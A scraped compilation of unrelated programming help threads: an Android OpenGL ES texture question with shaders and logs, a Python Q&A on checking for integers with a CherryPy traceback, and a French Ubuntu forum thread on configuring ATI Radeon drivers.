@Override
public void onSurfaceCreated(GL10 gl, EGLConfig config) {
glClearColor(0.0f, 0.0f, 0.0f, 1.0f);
initBuffers();
initShaders();
initTextures();
}
private void initTextures() {
textureBitmap = BitmapFactory.decodeResource(context.getResources(), R.drawable.ic_launcher);
Log.v("Bitmap inafo:", textureBitmap.getWidth() + ", " + textureBitmap.getHeight());
int[] buffer = new int[1];
glGenTextures(1, buffer, 0);
texture = buffer[0];
Log.v("Texture", "Texture is at " + texture);
glActiveTexture(GL_TEXTURE0);
glBindTexture(GL_TEXTURE_2D, texture);
glPixelStorei(GL_UNPACK_ALIGNMENT, GL_TRUE);
GLUtils.texImage2D(GL_TEXTURE_2D, 0, GL_RGB, textureBitmap, GL_UNSIGNED_BYTE, 0);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);
}
private void initShaders() {
shaderProgram = ShaderLoader.loadProgram(TextReader.readResource(context.getResources(), R.raw.vshader), TextReader.readResource(context.getResources(), R.raw.fshader));
Log.v("Shader program", shaderProgram + " is the id of shader program. :)");
glUseProgram(shaderProgram);
aVerPos = glGetAttribLocation(shaderProgram, "aVerPos");
if(aVerPos == -1) {
Log.e("Shader program", "Cudn't find aVerPos");
} else {
Log.v("Shader program", "Found vPosition @ " + aVerPos);
}
glEnableVertexAttribArray(aVerPos);
aVerCol = glGetAttribLocation(shaderProgram, "aVerCol");
if(aVerCol == -1) {
Log.e("Error", "Couldn't find aVColor");
} else {
Log.v("Success", "aVColor is at " + aVerCol + " :-3");
}
glEnableVertexAttribArray(aVerCol);
aTexPos = glGetAttribLocation(shaderProgram, "aTexPos");
if(aTexPos == -1) {
Log.e("Error", "Failed 2 find aTexPos");
} else {
Log.v("Succeed", "Succesfully located aTexPos @ " + aTexPos);
}
glEnableVertexAttribArray(aTexPos);
uSamp = glGetUniformLocation(shaderProgram, "uSampler");
if(uSamp == -1) {
Log.e("Error", "Couldn't finda uSampler " + uSamp);
} else {
Log.v("Succeed", "uSampler is @ " + uSamp + " :3");
}
}
private void initBuffers() {
vertexBufferPointer = initFloatBuffer(vertices);
colorBufferPointer = initFloatBuffer(colors);
textureBufferPointer = initFloatBuffer(textureVertices);
}
private int initFloatBuffer(float[] data) {
int[] buffer = new int[1];
glGenBuffers(1, buffer, 0);
int pointer = buffer[0];
if(pointer == -1) {
Log.e("Error", "Couldn't create buffer");
} else {
Log.v("Success", "Succesfully created buffer to " + pointer);
}
glBindBuffer(GL_ARRAY_BUFFER, pointer);
ByteBuffer byteBuffer = ByteBuffer.allocateDirect(data.length * 4); //one float size is 4 bytes
byteBuffer.order(ByteOrder.nativeOrder()); //byte order must be native
FloatBuffer floatBuffer = byteBuffer.asFloatBuffer();
floatBuffer.put(data);
floatBuffer.flip();
glBufferData(GL_ARRAY_BUFFER, data.length * 4, floatBuffer, GL_STATIC_DRAW);
return pointer;
}
private void checkGLError(String op) {
int error = glGetError();
if(error != GL_NO_ERROR) {
Log.e("Error", op + "'s errorcode:" + Integer.toHexString(error));
}
}
and ofcourse
Vertex Shader:
attribute vec3 aVerPos;
attribute vec3 aVerCol;
attribute vec2 aTexPos;
varying vec3 vVerCol;
varying vec2 vTexPos;
void main(void) {
vTexPos = aTexPos;
vVerCol = aVerCol;
gl_Position = vec4(aVerPos, 1.0);
}
Fragment Shader:
precision mediump float;
varying vec3 vVerCol;
varying vec2 vTexPos;
uniform sampler2D uSampler;
void main(void) {
gl_FragColor = texture2D(uSampler, vTexPos);
}
and result of executing that code is black screen and my custom logs
03-24 18:11:44.933: D/libEGL(4805): loaded /system/lib/egl/libGLES_android.so
03-24 18:11:44.948: D/libEGL(4805): loaded /vendor/lib/egl/libEGL_POWERVR_SGX540_120.so
03-24 18:11:44.956: D/libEGL(4805): loaded /vendor/lib/egl/libGLESv1_CM_POWERVR_SGX540_120.so
03-24 18:11:44.956: D/libEGL(4805): loaded /vendor/lib/egl/libGLESv2_POWERVR_SGX540_120.so
03-24 18:11:45.066: D/dalvikvm(4805): Note: class Landroid/opengl/GLWrapperBase; has 250 unimplemented (abstract) methods
03-24 18:11:45.073: V/GLSurfaceView(4805): glGetString(7937) returns PowerVR SGX 540;
03-24 18:11:45.073: V/Success(4805): Succesfully created buffer to 70001
03-24 18:11:45.073: V/Success(4805): Succesfully created buffer to 140002
03-24 18:11:45.073: V/Success(4805): Succesfully created buffer to 210003
03-24 18:11:45.081: V/Readed text:(4805): attribute vec3 aVerPos;attribute vec3 aVerCol;attribute vec2 aTexPos;varying vec3 vVerCol;varying vec2 vTexPos;void main(void) { vTexPos = aTexPos; vVerCol = aVerCol; gl_Position = vec4(aVerPos, 1.0);}
03-24 18:11:45.081: V/Readed text:(4805): precision mediump float;varying vec3 vVerCol;varying vec2 vTexPos;uniform sampler2D uSampler;void main(void) { gl_FragColor = texture2D(uSampler, vTexPos);}
03-24 18:11:45.097: V/Shader program(4805): 70001 is the id of shader program. :)
03-24 18:11:45.097: V/Shader program(4805): Found vPosition @ 2
03-24 18:11:45.105: V/Success(4805): aVColor is at 1 :-3
03-24 18:11:45.105: V/Succeed(4805): Succesfully located aTexPos @ 0
03-24 18:11:45.105: V/Succeed(4805): uSampler is @ 1 :3
03-24 18:11:45.105: V/Bitmap inafo:(4805): 96, 96
03-24 18:11:45.105: V/Texture(4805): Texture is at 70001
I've also tried using legen... wait for it... dary nehe texture but didn't show up either
|
I tried this example:
import cherrypy
class Root(object):
@cherrypy.expose
@cherrypy.tools.json_out()
def getrange(self, limit=4):
return list(range(int(limit)))
cherrypy.quickstart(Root())
when I run this, I get:
Traceback (most recent call last):
File "D:/Dev/BaronPOS/baronpos/Server/tester.py", line 1, in <module>
import cherrypy
File "C:\Python27\lib\site-packages\cherrypy\__init__.py", line 62, in <module>
from cherrypy._cpcompat import urljoin as _urljoin, urlencode as _urlencode
File "C:\Python27\lib\site-packages\cherrypy\_cpcompat.py", line 244, in <module>
json_decode = json.JSONDecoder().decode
AttributeError: 'module' object has no attribute 'JSONDecoder'
and I have absolutely no idea why. I have checked if the module is present and the class and both are. Please help!
|
How do I check whether a variable is an integer?
If you need to do this, do
isinstance( <var>, int )
unless you are in Python 2.x in which case you want
isinstance( <var>, ( int, long ) )
Do not use
class Spam( int ): pass
x = Spam( 0 )
type( x ) == int # False
isinstance( x, int ) # True
This adheres to Python's strong polymorphism: you should allow any object that behaves like an
BUT
The classical Python mentality, though, is that it's
try:
x += 1
except TypeError:
...
This mentality is slowly being overtaken by the use of abstract base classes, which let you register exactly what properties your object should have (adding? multiplying? doubling?) by making it inherit from a specially-constructed class. That would be the best solution, since it will permit
All proposed answers so far seem to miss the fact that a double can also be an integer (if it has nothing after the decimal point). I use the built-in
Example (to do something every xth time in a for loop):
for index in range(y):
# do something
if (index/x.).is_integer():
# do something special
>>> isinstance(3, int)
True
See here for more.
Note that this does not help if you're looking for
>>> isinstance(3L, (long, int))
True
I've seen checks of this kind against an array/index type in the Python source, but I don't think that's visible outside of C.
If you
>>> import numbers
>>> isinstance(3, numbers.Integral)
True
This doesn't restrict the check to just
If you want to check that a string consists of only digits, but converting to an int won't help, you can always just use regex.
import re
x = "01234"
match = re.search("^\d+$", x)
try: x = match.group(0)
except AttributeError: print("not a valid number")
Result: x == "01234"
In this case, if x were "hello", converting it to a numeric type would throw a ValueError, but data would also be lost in the process. Using a regex and catching an AttributeError would allow you to confirm numeric characters in a string with, for instance, leading 0's.
If you didn't want it to throw an AttributeError, but instead just wanted to look for more specific problems, you could vary the regex and just check the match:
import re
x = "h01234"
match = re.search("\D", x)
if not match:
print("x is a number")
else:
print("encountered a problem at character:", match.group(0))
Result: "encountered a problem at character: h"
That actually shows you where the problem occurred without the use of exceptions. Again, this is not for testing the type, but rather the characters themselves. This gives you much more flexibility than simply checking for types, especially when converting between types can lose important string data, like leading 0's.
why not just check if the value you want to check is equal to itself cast as an integer as shown below?
def isInt(val):
return val == int(val):
Found a related question here on SO itself.
Python developers prefer to not check types but do a type specific operation and catch a
>>> i = 12345
>>> type(i)
<type 'int'>
>>> type(i) is int
True
If the variable is entered like a string (e.g.
if variable and variable.isdigit():
return variable #or whatever you want to do with it.
else:
return "Error" #or whatever you want to do with it.
Before using this I worked it out with
it's really astounding to see such a heated discussion coming up when such a basic, valid and, i believe, mundane question is being asked.
some people have pointed out that type-checking against
some people have pointed out that you should 'just do
i am at odds with many posts vigorously declaring that you should not check for types. well, GvR once said something to the effect that in pure theory, that may be right, but in practice,
what is funny is how many people seem to assume that the OP's intent was to check whether the
it's also, in my opinion, important to see that (1) type checking is but ONEâand often quite coarseâmeasure of program correctness, because (2) it is often bounded values that make sense, and out-of-bounds values that make nonsense. sometimes just some intermittent values make senseâlike considering all numbers, only those real (non-complex), integer numbers might be possible in a given case.
funny non-one seems to mention checking for
use the int function to help
intchecker = float(input('Please enter a integer: '))
intcheck = 0
while intcheck != 1:
if intchecker - int(intchecker) > 0:
intchecker = float(input("You didn't enter a integer. "
"Please enter a integer: "))
else:
intcheck = 1
print('you have entered a integer')
I was writing a program to check if a number was square and I encountered this issue, the code I used was:
import math
print ("this program will tell you if a number is square")
print ("enter an integer")
num = float(input())
if num > 0:
print ("ok!")
num = (math.sqrt(num))
inter = int(num)
if num == inter:
print ("It's a square number, and its root is")
print (num)
else:
print ("It's not a square number, but its root is")
print (num)
else:
print ("That's not a positive number!")
To tell if the number was an integer I converted the float number you get from square rooting the user input to a rounded integer (stored as the value ), if those two numbers were equal then the first number must have been an integer, allowing the program to respond. This may not be the shortest way of doing this but it worked for me.
A simple method I use in all my software is this. It checks whether the variable is made up of numbers.
test = input("Enter some text here: ")
if test.isdigit() == True:
print("This is a number.")
else:
print("This is not a number.")
you can do this by:
name = 'Bob'
if type(name) == str:
print 'this works'
else:
print 'this does not work'
and it will return 'this works'... but if you change name to int(1) then it will return 'this does not work' because it is now a string... you can also try:
name = int(5)
if type(name) == int:
print 'this works'
else:
print 'this does not work'
and the same thing will happen
There is another option to do the type check.
For example:
n = 14
if type(n)==int:
return "this is an int"
If you just need the
In fact I would argue it is the only correct way to get integer values if you want to be certain that floating points, due to truncating problems, etc. are rejected and it works with all integral types (i.e. numpy, etc.) even if they may not (yet) support the abstract class.
This is what
As simple as this:
def is_int(a):
"""Returns true if a can be an integer"""
try:
int (a)
return True
except:
return False
import six
if isinstance(obj, six.integer_types):
print('obj is an integer!')
Within
import sys
PY3 = sys.version_info[0] == 3
if PY3:
integer_types = int,
else:
integer_types = (int, long)
Never. Check. Types.
Do this. Always.
try:
some operation that "requires" an integer
except TypeError, e:
it wasn't an integer, fail.
|
rezzakilla
Re : [Info] Installation du driver Libre ATI Radeon
Je dis ça comme ça...mais ça marche terrible sur ma 7500.....:D
Hors ligne
hugo69
Re : [Info] Installation du driver Libre ATI Radeon
ton tuto est dans la doc officielle mais ca naide pas beaucoup ma 9700ATI Hercules à fonctionner correctement.
Si je mets les drivers propritaire, les soft de tele ne se lance plus et certains plugins visualisations sur xxms sont capable de me planter lordi en full screen
si je met les radeon ca semble etre stable mais je gagne rien en qualite, genre les screensaver et autres.
donc avec ma 9700 payé 3500f il ya kelkes temps deja , c vrai, je peux profiter des performance dune mx2 en gros.
ca et grip ki tourne à 3 à lheure sont les gros defaut ke je trouve a ubuntu pour linstannt.
Mais sinon pour le reste, rien a redire.
en tout cas bravo pour le tuto
Hors ligne
Stemp
Re : [Info] Installation du driver Libre ATI Radeon
Merci
Par contre il est vrai que ce tutoriel est plutôt destiné au cartes ati jusqu'à la 9200.
Concernant ta carte, tu as essayé les nouveaux drivers sur le site ati.com ?
Hors ligne
hugo69
Re : [Info] Installation du driver Libre ATI Radeon
non jai pas essayé, je suis pas un pro de la compilation ou de la conversion .rpm en .deb meme si cest pas forcement un obstacle dans le deuxieme cas. par contre niveau compatibilité, jen sais rien.
Jai vu ca, jai dl les X.Org 6.8 puisque je sui ssous x11et non pas xfree
https://support.ati.com/ics/support/def … derID=3959
en fait jy connais rien et jai peur de me retrouver sous console au redemarrage et detre incapable de resoudre et de me retaper linstallation de la totale.
jai ouvert ca pour pas polluer: http://forum.ubuntu-fr.org/viewtopic.ph … 904#p45904
deja je sais ke cette methode est valadble jusqua 9200 au moin je peu deja leliminer et ke la solution serai plus vers les drivers ati
merci
Hors ligne
NicoA380
Re : [Info] Installation du driver Libre ATI Radeon
Attention à ne pas tomber dans le panneau comme moi.
J'ai installé les driver proprio d' ATI fglrx en croyant que ça allait changer quelque chose sur ma Radeon 8500. J'y ai cru un moment, mais j'avais une appli OpenGL qui ne voulait plus démarrer, il fait appel à une fonction buggué d'OpenGL.
J'ai cherché pendant une journée à retourner sur le driver libre ATI, en retirant fglrx dans Synaptic, et en restaurant mon premier xorg.conf . Résultat, la cata, toutes les applis 3D sacadaient à mourrir, et glxgears fournissait un score en dessous de 100 fps.
J'ai fini par relire la procédure d'installation de fglrx, et là ... mais oui !!! le fichier /etc/modules !! il fallait rajouter fglrx en premier à l'installation, mais il faut évidement la retirer pour repasser en driver libre !
Un reboot plus tard, je retrouve mes applis 3D toutes fluides, et un score autour de 1500 fps à glxgear, à peu près le même que celui avec le driver fglrx.
Tout ce blabla pour dire : oubliez pas de retirer fglrx du fichier /etc/modules quand vous repassez au driver libre 'ati'.
Dernière modification par NicoA380 (Le 25/06/2005, à 09:54)
Hors ligne
Aito
Re : [Info] Installation du driver Libre ATI Radeon
Hello la foule,
Heu juste pour être sur d'avoir bien compris :
J'ai une Radeon X600 Pro, donc d'apres ta liste le driver 'radeon' ne la supporte qu'en 2D (je suis hyperrrrrrrrrrr content....)
Et fglrx alors il supporte quelles cartes ?
A+
Hors ligne
Stemp
Re : [Info] Installation du driver Libre ATI Radeon
Salut,
Le driver propirètaire fglrx supporte la 3d sur les cartes à partir de la série 8500.
Donc c'est bon pour les X600, mais il est préférable d'utiliser l'installateur de drivers du site ati (8.14.13)
Hors ligne
Francois_Gregoire
Re : [Info] Installation du driver Libre ATI Radeon
ok ca marche, merci pour l'astuce...
j'ai du modifier quelques valeurs pour que ca tourne, mais c'est bon..
pour info j'ai une radeon Mobility M6 LY..
Qu'as du changer car moi m'as mobility M6 ne marche pas en direct rendering.
Voici ce que glxinfo me dit:
francois@ubuntu:~$ glxinfo
name of display: :0.0
display: :0 screen: 0
direct rendering: No
server glx vendor string: SGI
server glx version string: 1.2
server glx extensions:
GLX_ARB_multisample, GLX_EXT_visual_info, GLX_EXT_visual_rating,
GLX_EXT_import_context, GLX_OML_swap_method, GLX_SGI_make_current_read,
GLX_SGIS_multisample, GLX_SGIX_fbconfig
client glx vendor string: SGI
client glx version string: 1.4
client glx extensions:
GLX_ARB_get_proc_address, GLX_ARB_multisample, GLX_EXT_import_context,
GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_MESA_allocate_memory,
GLX_MESA_swap_control, GLX_MESA_swap_frame_usage, GLX_OML_swap_method,
GLX_OML_sync_control, GLX_SGI_make_current_read, GLX_SGI_swap_control,
GLX_SGI_video_sync, GLX_SGIS_multisample, GLX_SGIX_fbconfig,
GLX_SGIX_pbuffer, GLX_SGIX_visual_select_group
GLX extensions:
GLX_ARB_get_proc_address, GLX_ARB_multisample, GLX_EXT_import_context,
GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_OML_swap_method,
GLX_SGI_make_current_read, GLX_SGIS_multisample, GLX_SGIX_fbconfig,
GLX_SGIX_visual_select_group
OpenGL vendor string: Mesa project: www.mesa3d.org
OpenGL renderer string: Mesa GLX Indirect
OpenGL version string: 1.2 (1.5 Mesa 6.2.1)
OpenGL extensions:
GL_ARB_depth_texture, GL_ARB_imaging, GL_ARB_multitexture,
GL_ARB_point_parameters, GL_ARB_point_sprite, GL_ARB_shadow,
GL_ARB_shadow_ambient, GL_ARB_texture_border_clamp,
GL_ARB_texture_cube_map, GL_ARB_texture_env_add,
GL_ARB_texture_env_combine, GL_ARB_texture_env_crossbar,
GL_ARB_texture_env_dot3, GL_ARB_texture_mirrored_repeat,
GL_ARB_transpose_matrix, GL_ARB_window_pos, GL_EXT_abgr, GL_EXT_bgra,
GL_EXT_blend_color, GL_EXT_blend_func_separate, GL_EXT_blend_logic_op,
GL_EXT_blend_minmax, GL_EXT_blend_subtract, GL_EXT_clip_volume_hint,
GL_EXT_copy_texture, GL_EXT_draw_range_elements, GL_EXT_fog_coord,
GL_EXT_multi_draw_arrays, GL_EXT_packed_pixels, GL_EXT_point_parameters,
GL_EXT_polygon_offset, GL_EXT_rescale_normal, GL_EXT_secondary_color,
GL_EXT_separate_specular_color, GL_EXT_shadow_funcs,
GL_EXT_stencil_two_side, GL_EXT_stencil_wrap, GL_EXT_subtexture,
GL_EXT_texture, GL_EXT_texture3D, GL_EXT_texture_edge_clamp,
GL_EXT_texture_env_add, GL_EXT_texture_env_combine,
GL_EXT_texture_env_dot3, GL_EXT_texture_lod_bias, GL_EXT_texture_object,
GL_EXT_texture_rectangle, GL_EXT_vertex_array, GL_APPLE_packed_pixels,
GL_ATI_texture_env_combine3, GL_ATI_texture_mirror_once,
GL_ATIX_texture_env_combine3, GL_IBM_texture_mirrored_repeat,
GL_INGR_blend_func_separate, GL_MESA_pack_invert, GL_MESA_ycbcr_texture,
GL_NV_blend_square, GL_NV_point_sprite, GL_NV_texgen_reflection,
GL_NV_texture_rectangle, GL_SGIS_generate_mipmap,
GL_SGIS_texture_border_clamp, GL_SGIS_texture_edge_clamp,
GL_SGIS_texture_lod, GL_SGIX_depth_texture, GL_SGIX_shadow,
GL_SGIX_shadow_ambient, GL_SUN_multi_draw_arrays
glu version: 1.3
glu extensions:
GLU_EXT_nurbs_tessellator, GLU_EXT_object_space_tess
visual x bf lv rg d st colorbuffer ax dp st accumbuffer ms cav
id dep cl sp sz l ci b ro r g b a bf th cl r g b a ns b eat
----------------------------------------------------------------------
0x23 24 tc 0 24 0 r y . 8 8 8 0 0 16 0 0 0 0 0 0 0 None
0x24 24 tc 0 24 0 r y . 8 8 8 0 0 16 8 16 16 16 0 0 0 None
0x25 24 tc 0 32 0 r y . 8 8 8 8 0 16 8 16 16 16 16 0 0 None
0x26 24 tc 0 32 0 r . . 8 8 8 8 0 16 8 16 16 16 16 0 0 None
0x27 24 dc 0 24 0 r y . 8 8 8 0 0 16 0 0 0 0 0 0 0 None
0x28 24 dc 0 24 0 r y . 8 8 8 0 0 16 8 16 16 16 0 0 0 None
0x29 24 dc 0 32 0 r y . 8 8 8 8 0 16 8 16 16 16 16 0 0 None
0x2a 24 dc 0 32 0 r . . 8 8 8 8 0 16 8 16 16 16 16 0 0 None
Donc on vas bien que le direct renderin est a no. Mais si je regarde mon /etc/X11/xorg.conf:
# /etc/X11/xorg.conf (xorg X Window System server configuration file)
#
# This file was generated by dexconf, the Debian X Configuration tool, using
# values from the debconf database.
#
# Edit this file with caution, and see the /etc/X11/xorg.conf manual page.
# (Type "man /etc/X11/xorg.conf" at the shell prompt.)
#
# This file is automatically updated on xserver-xorg package upgrades *only*
# if it has not been modified since the last upgrade of the xserver-xorg
# package.
#
# If you have edited this file but would like it to be automatically updated
# again, run the following commands:
#
# cp /etc/X11/xorg.conf /etc/X11/xorg.conf.custom
# sudo sh -c 'md5sum /etc/X11/xorg.conf >/var/lib/xfree86/xorg.conf.md5sum'
# sudo dpkg-reconfigure xserver-xorg
Section "Files"
FontPath "unix/:7100" # local font server
# if the local font server has problems, we can fall back on these
FontPath "/usr/lib/X11/fonts/misc"
FontPath "/usr/lib/X11/fonts/cyrillic"
FontPath "/usr/lib/X11/fonts/100dpi/:unscaled"
FontPath "/usr/lib/X11/fonts/75dpi/:unscaled"
FontPath "/usr/lib/X11/fonts/Type1"
FontPath "/usr/lib/X11/fonts/CID"
FontPath "/usr/lib/X11/fonts/100dpi"
FontPath "/usr/lib/X11/fonts/75dpi"
# paths to defoma fonts
FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType"
FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/CID"
EndSection
Section "Module"
Load "bitmap"
Load "dbe"
Load "ddc"
Load "dri"
Load "extmod"
Load "freetype"
Load "glx"
Load "int10"
Load "record"
Load "type1"
Load "vbe"
EndSection
Section "Extensions"
Option "RENDER" "Enable"
EndSection
Section "InputDevice"
Identifier "Generic Keyboard"
Driver "keyboard"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbModel" "pc104"
Option "XkbLayout" "us"
EndSection
Section "InputDevice"
Identifier "Configured Mouse"
Driver "mouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "ImPS/2"
Option "Emulate3Buttons" "true"
Option "ZAxisMapping" "4 5"
EndSection
Section "InputDevice"
Identifier "Synaptics Touchpad"
Driver "synaptics"
Option "SendCoreEvents" "true"
Option "Device" "/dev/psaux"
Option "Protocol" "auto-dev"
Option "HorizScrollDelta" "0"
Option "MaxTapTime" "0"
EndSection
Section "Device"
Identifier "ATI Technologies, Inc. Radeon Mobility 9000 (M6 LY)"
ChipID 0x4c59
Driver "radeon"
Option "AGPMode" "4"
Option "AGPSize" "64" # default: 8
Option "RingSize" "8"
Option "BufferSize" "2"
Option "EnablePageFlip" "True"
Option "EnableDepthMoves" "True"
Option "RenderAccel" "true"
BusID "PCI:1:0:0"
EndSection
Section "Monitor"
Identifier "Generic Monitor"
Option "DPMS"
EndSection
Section "Screen"
Identifier "Default Screen"
Device "ATI Technologies, Inc. Radeon Mobility 9000 (M6 LY)"
Monitor "Generic Monitor"
DefaultDepth 24
SubSection "Display"
Depth 1
Modes "1400x1050"
EndSubSection
SubSection "Display"
Depth 4
Modes "1400x1050"
EndSubSection
SubSection "Display"
Depth 8
Modes "1400x1050"
EndSubSection
SubSection "Display"
Depth 15
Modes "1400x1050"
EndSubSection
SubSection "Display"
Depth 16
Modes "1400x1050"
EndSubSection
SubSection "Display"
Depth 24
Modes "1400x1050"
EndSubSection
EndSection
Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
InputDevice "Generic Keyboard"
InputDevice "Configured Mouse"
InputDevice "Synaptics Touchpad"
EndSection
Section "DRI"
Mode 0666
EndSection
Tous est selon la procedure.
Je me demande bien ce que je fais de travers...
Quelqu'un a une suggestion? car disons que 250 a glxgears c'est pas fameux avec un laptop P3 1.2gig avec 512megs de ram....
Francois
Francois_Gregoire
Re : [Info] Installation du driver Libre ATI Radeon
Tu n'aurais pas installé les drivers fglrx et oublié de les enlever par hasard ?
Nope.
Je n'ai pas installer les fglrx et j'ai meme verifier dans symantics pour etre sur. Et non ni moi, ni l'installation de base n'avons installe les drivers proprietaire de ATi.
Francois_Gregoire
Re : [Info] Installation du driver Libre ATI Radeon
Bon, bon, il faudrait voir le fichier /var/log/Xorg.0.log
Essaie de trouver l'erreur, ça aidera surement
Selon Xorg.0.log, il semble que 1400x1050 24bits sois trop pour le maigre 16megs que m'as carte video possede... Reste a trouver ou je peux essayer de mettre 16bits voir. Je vais essayer de le mettre par defaut dans xorg.conf a 16bits voir si ca marche.
Hors ligne
Stemp
Re : [Info] Installation du driver Libre ATI Radeon
Nope pas le bon message d'erreur
Le fait d'utiliser les modes 1400x1050 ou/et 24 bits, ne gêne en rien le fait d'utiliser l'accélération graphique de la radeon.
OpenGL vendor string: Mesa project: www.mesa3d.orgOpenGL renderer string: Mesa GLX IndirectOpenGL version string: 1.2 (1.5 Mesa 6.2.1
Là est ton problème. Recherche "render" dans ta log
Hors ligne
Francois_Gregoire
Re : [Info] Installation du driver Libre ATI Radeon
Nope pas le bon message d'erreur
Le fait d'utiliser les modes 1400x1050 ou/et 24 bits, ne gêne en rien le fait d'utiliser l'accélération graphique de la radeon.
Ca marcher. Le probleme avec la M6 sur un portable Dell qui contient seulement 16megs ne peux marcher en 1400x1050 24bits. Trop d'information selon le log de Xorg.0.log que cette configuration demande 17.5megs. Donc en changant le mode 24bits en 16bits dans /etc/X11/xorg.conf de default 24bits en 16bits, ca marche en 1400x1050. Pourquoi garder le 1400x1050 au loei de la descendre? Tres simple, c<est la resolution native d'un inspiron 4100 ou latitude C610 ou dans mon cas un inspiron 4100 hacker en latitude C610 .
maintenant au lieu d'avoir 200fps dans glxgears j'ai 800fps. C'est loins des 1500-2000 que j'ai vu sur le forum mais bon, m'as resolution est quand meme plus haute que 800x600
Hors ligne
Stemp
Re : [Info] Installation du driver Libre ATI Radeon
Et glxinfo ne te donnes plus :
OpenGL vendor string: Mesa project: www.mesa3d.org
OpenGL renderer string: Mesa GLX Indirect
OpenGL version string: 1.2 (1.5 Mesa 6.2.1)
?????
Je ne comprends pas pourquoi ta résolution modifie le "Rendering" !!
Mais bon, très bonne info
Hors ligne
Francois_Gregoire
Re : [Info] Installation du driver Libre ATI Radeon
Et glxinfo ne te donnes plus :
OpenGL vendor string: Mesa project: www.mesa3d.org
OpenGL renderer string: Mesa GLX Indirect
OpenGL version string: 1.2 (1.5 Mesa 6.2.1)
?????
Je ne comprends pas pourquoi ta résolution modifie le "Rendering" !!
Mais bon, très bonne info
Voici mon glxinfo apres le changement de 24bits a 16bits du au manque de memoire
francois@ubuntu:~$ glxinfo
name of display: :0.0
display: :0 screen: 0
direct rendering: Yes
server glx vendor string: SGI
server glx version string: 1.2
server glx extensions:
GLX_ARB_multisample, GLX_EXT_visual_info, GLX_EXT_visual_rating,
GLX_EXT_import_context, GLX_OML_swap_method, GLX_SGI_make_current_read,
GLX_SGIS_multisample, GLX_SGIX_fbconfig
client glx vendor string: SGI
client glx version string: 1.4
client glx extensions:
GLX_ARB_get_proc_address, GLX_ARB_multisample, GLX_EXT_import_context,
GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_MESA_allocate_memory,
GLX_MESA_swap_control, GLX_MESA_swap_frame_usage, GLX_OML_swap_method,
GLX_OML_sync_control, GLX_SGI_make_current_read, GLX_SGI_swap_control,
GLX_SGI_video_sync, GLX_SGIS_multisample, GLX_SGIX_fbconfig,
GLX_SGIX_pbuffer, GLX_SGIX_visual_select_group
GLX extensions:
GLX_ARB_get_proc_address, GLX_ARB_multisample, GLX_EXT_import_context,
GLX_EXT_visual_info, GLX_EXT_visual_rating, GLX_MESA_swap_control,
GLX_MESA_swap_frame_usage, GLX_OML_swap_method, GLX_SGI_video_sync,
GLX_SGIS_multisample, GLX_SGIX_fbconfig
OpenGL vendor string: Tungsten Graphics, Inc.
OpenGL renderer string: Mesa DRI Radeon 20040929 AGP 4x x86/MMX/SSE NO-TCL
OpenGL version string: 1.2 Mesa 6.2.1
OpenGL extensions:
GL_ARB_imaging, GL_ARB_multisample, GL_ARB_multitexture,
GL_ARB_texture_border_clamp, GL_ARB_texture_compression,
GL_ARB_texture_env_add, GL_ARB_texture_env_combine,
GL_ARB_texture_env_crossbar, GL_ARB_texture_env_dot3,
GL_ARB_texture_mirrored_repeat, GL_ARB_texture_rectangle,
GL_ARB_transpose_matrix, GL_ARB_window_pos, GL_EXT_abgr, GL_EXT_bgra,
GL_EXT_blend_color, GL_EXT_blend_logic_op, GL_EXT_blend_minmax,
GL_EXT_blend_subtract, GL_EXT_clip_volume_hint,
GL_EXT_compiled_vertex_array, GL_EXT_convolution, GL_EXT_copy_texture,
GL_EXT_draw_range_elements, GL_EXT_histogram, GL_EXT_packed_pixels,
GL_EXT_polygon_offset, GL_EXT_rescale_normal, GL_EXT_secondary_color,
GL_EXT_separate_specular_color, GL_EXT_subtexture, GL_EXT_texture,
GL_EXT_texture3D, GL_EXT_texture_edge_clamp, GL_EXT_texture_env_add,
GL_EXT_texture_env_combine, GL_EXT_texture_env_dot3,
GL_EXT_texture_filter_anisotropic, GL_EXT_texture_lod_bias,
GL_EXT_texture_mirror_clamp, GL_EXT_texture_object,
GL_EXT_texture_rectangle, GL_EXT_vertex_array, GL_APPLE_packed_pixels,
GL_ATI_texture_env_combine3, GL_ATI_texture_mirror_once,
GL_IBM_rasterpos_clip, GL_IBM_texture_mirrored_repeat,
GL_MESA_ycbcr_texture, GL_MESA_window_pos, GL_NV_blend_square,
GL_NV_light_max_exponent, GL_NV_texture_rectangle,
GL_NV_texgen_reflection, GL_SGI_color_matrix, GL_SGI_color_table,
GL_SGIS_generate_mipmap, GL_SGIS_texture_border_clamp,
GL_SGIS_texture_edge_clamp, GL_SGIS_texture_lod
glu version: 1.3
glu extensions:
GLU_EXT_nurbs_tessellator, GLU_EXT_object_space_tess
visual x bf lv rg d st colorbuffer ax dp st accumbuffer ms cav
id dep cl sp sz l ci b ro r g b a bf th cl r g b a ns b eat
----------------------------------------------------------------------
0x23 16 tc 0 16 0 r . . 5 6 5 0 0 16 0 0 0 0 0 0 0 None
0x24 16 tc 0 16 0 r . . 5 6 5 0 0 16 8 0 0 0 0 0 0 Slow
0x25 16 tc 0 16 0 r . . 5 6 5 0 0 16 0 16 16 16 0 0 0 Slow
0x26 16 tc 0 16 0 r . . 5 6 5 0 0 16 8 16 16 16 0 0 0 Slow
0x27 16 tc 0 16 0 r y . 5 6 5 0 0 16 0 0 0 0 0 0 0 None
0x28 16 tc 0 16 0 r y . 5 6 5 0 0 16 8 0 0 0 0 0 0 Slow
0x29 16 tc 0 16 0 r y . 5 6 5 0 0 16 0 16 16 16 0 0 0 Slow
0x2a 16 tc 0 16 0 r y . 5 6 5 0 0 16 8 16 16 16 0 0 0 Slow
0x2b 16 dc 0 16 0 r . . 5 6 5 0 0 16 0 0 0 0 0 0 0 None
0x2c 16 dc 0 16 0 r . . 5 6 5 0 0 16 8 0 0 0 0 0 0 Slow
